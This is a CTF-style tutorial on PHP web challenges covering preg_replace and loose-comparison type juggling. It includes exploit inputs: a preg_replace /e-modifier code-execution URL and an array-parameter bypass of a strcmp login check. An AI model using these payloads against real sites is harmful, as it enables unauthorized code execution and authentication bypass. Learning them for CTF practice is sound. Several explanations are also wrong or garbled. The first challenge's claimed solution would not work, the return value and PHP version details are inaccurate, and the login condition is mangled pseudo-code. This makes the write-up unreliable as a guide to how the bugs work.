Php Part1
PHP Web Challenge
preg_replace()
Use in string manipulation that allows to search and replace specific pattern with strings.
Syntx $final_string = preg_replace($pattern,$replace,$input)
$pattern = strings being listed. $replace = to be replace if match $input = from user.
1
2
3
4
5
6
7
8
9
10
11
Example 1.
$input = " Hello Master "
$pattern = "/Master/i" // in regex, I represent case-insensitive.
$replace = "hacker!"
$result = preg_replace($pattern,$replace,$input)
echo $result
//Output : Hello hacker!
1
2
3
4
5
6
7
8
$input = "My email is john.doe@example.com, and Jane's email is jane.doe@example.net.";
$pattern = "/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/";
$replacement = "[email]";
$result = preg_replace($pattern, $replacement, $input);
echo $result; // Output: "My email is [email], and Jane's email is [email]."
1
2
3
4
5
6
7
8
9
10
11
$input = "2 cats, 4 dogs, and 3 birds.";
$pattern = "/\d+/";
$callback = function ($matches) {
return $matches[0] * $matches[0];
};
$result = preg_replace_callback($pattern, $callback, $input);
echo $result; // Output: "4 cats, 16 dogs, and 9 birds."
Sample CTF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE HTML>
<?php
require("flag.php");
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
if (isset($_GET['anime_is_bae'])) {
$your_entered_string = $_GET['anime_is_bae'];
$intermediate_string = 'hellotherehooman';
$final_string = preg_replace(
"/$intermediate_string/", '', $your_entered_string);
if ($final_string === $intermediate_string) {
super_secret_function();
}
}
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body>
<h2> Source code says it all</h2>
<h2>HINT : see how preg_replace works</h2>
<p>Try to reach <code>super_secret_function()</code></p>
<a target="_blank" href="?source">See the source code</a>
</body>
</html>
Above code can be divide into multiple part.
- Read Source Code
1 2 3 4
if (isset($_GET['source'])) { highlight_file(__FILE__); die(); }
Providing the URL with value source.
http://URL/index.php?source
- Get parameter
1 2
if (isset($_GET['anime_is_bae'])) { $your_entered_string = $_GET['anime_is_bae'];
Supply the URl with value
anime_is_bae
with any text. Then it will store in$your_entered_string
- preg_replace
1 2
$final_string = preg_replace("/$intermediate_string/", '', $your_entered_string);
it will check the
your_entered_string
withpreg_replace
. The pattern here is/$intermediate_string/
, if similar it will return ` `, (whitespace). - Condition check
1
if ($final_string === $intermediate_string)
Lastly it will check
final_strings
withintermediate_string
. If condition meet it will returnsuper_secret_function()
Exploitation.
preg_replace check for all character. For example “hello”, ‘c’ and etc.
If the input strings match 100% as pattern. it will replace the strings with $replace.
In this case, the $intermediate_string
check with $your_entered_string
1
2
3
4
$your_entered_string = userinput
$intermediate_string = hellotherehooman
intermediate_string === final_string
As we can see, the user input can directly bypass since it only check full words "hellotherehooman"
Another CTF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
echo "<br >Welcome My Admin ! <br >";
if (isset($_GET['pat']) && isset($_GET['rep']) && isset($_GET['sub'])) {
$pattern = $_GET['pat'];
$replacement = $_GET['rep'];
$subject = $_GET['sub'];
echo "original : ".$subject ."</br>";
echo "replaced : ".preg_replace($pattern, $replacement, $subject);
}else{
die();
}
?>
We can see the URL receive 3 GET input namely as pat
, rep
and sub
. For each GET
, it represent pattern
, replace
and subject/input
.
http://URL/index.php?pat=/As/&rep=as&sub=your exploit
Exploitation
PHP version 5.0 and below. Can execute /e/ modifier. http://URL/index.php?pat=/a/e/&rep=phpinfo();&sub="Payload"
Proof that we can bypass it.
PHP Type Jungling
Bug that only occurs in PHP mainly due to comparison another things.
There are strict (===)
and loose(==)
comparison.
The vulnerability occur in loose comparison.
1
2
3
4
if (strcmp($username, $_POST['username']) == 0) {
if (strcmp($password, $_POST['password']) == 0) {
$_SESSION['user_id'] = 1;
header("Location: /upload.php");
If (($username == _POST['username'] )==0)
and (($password == _POST['password'] )==0)
it will return to endpoint /upload.php
Since the strcmp can be manipulate as array. Assign the $username as array to bypass comparison.
username[]=anything&password[]=anything